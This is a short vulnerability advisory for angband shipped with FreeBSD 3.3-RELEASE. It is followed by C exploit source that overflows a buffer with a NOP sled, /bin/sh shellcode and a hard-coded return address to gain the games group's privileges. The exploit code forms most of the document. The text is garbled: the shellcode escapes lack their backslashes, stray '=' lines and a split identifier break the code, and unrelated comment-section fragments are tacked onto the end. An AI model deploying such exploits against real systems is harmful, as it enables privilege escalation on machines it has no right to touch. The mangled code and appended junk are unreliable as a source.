source: http://www.securityfocus.com/bid/840/info
The version angband shipped with FreeBSD 3.3-RELEASE is vulnerable to a local buffer overflow attack. Since it is setgid games, a compromise of files and directories owned by group games is possible.
/* FreeBSD 3.3 angband exploit yields egid of group games
* usage: gcc -o angames angames.c
/path/to/angband `./angames <offset>`
* overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
* Brock Tellier <[email protected]>
*/
#include <stdio.h>
char shell[]= /* [email protected] */
"xebx35x5ex59x33xc0x89x46xf5x83xc8x07x66x89x46xf9"
"x8dx1ex89x5ex0bx33xd2x52x89x56x07x89x56x0fx8dx46"
"x0bx50x8dx06x50xb8x7bx56x34x12x35x40x56x34x12x51"
"x9a>:)(:<xe8xc6xffxffxff/bin/sh";
=
=
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
char arg[bsize + 2];
int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */
=
if (argv[1]) { =
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "eip=0x%x offset=%d buflen=%dn", eip, offset, bsiz=
e);
=
for ( x = 0; x < 1021; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %dn", x);
=
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %dn",x);
=
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %dn",x);
buf[x++] = 'X';
buf[x++] = 'X';
fprintf(stderr, "garbage to %dn", x);
buf[bsize - 1] = ' ';
sprintf(arg, "-u%s", buf);
arg[bsize + 1] = ' ';
=
printf("%s", arg);
=
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666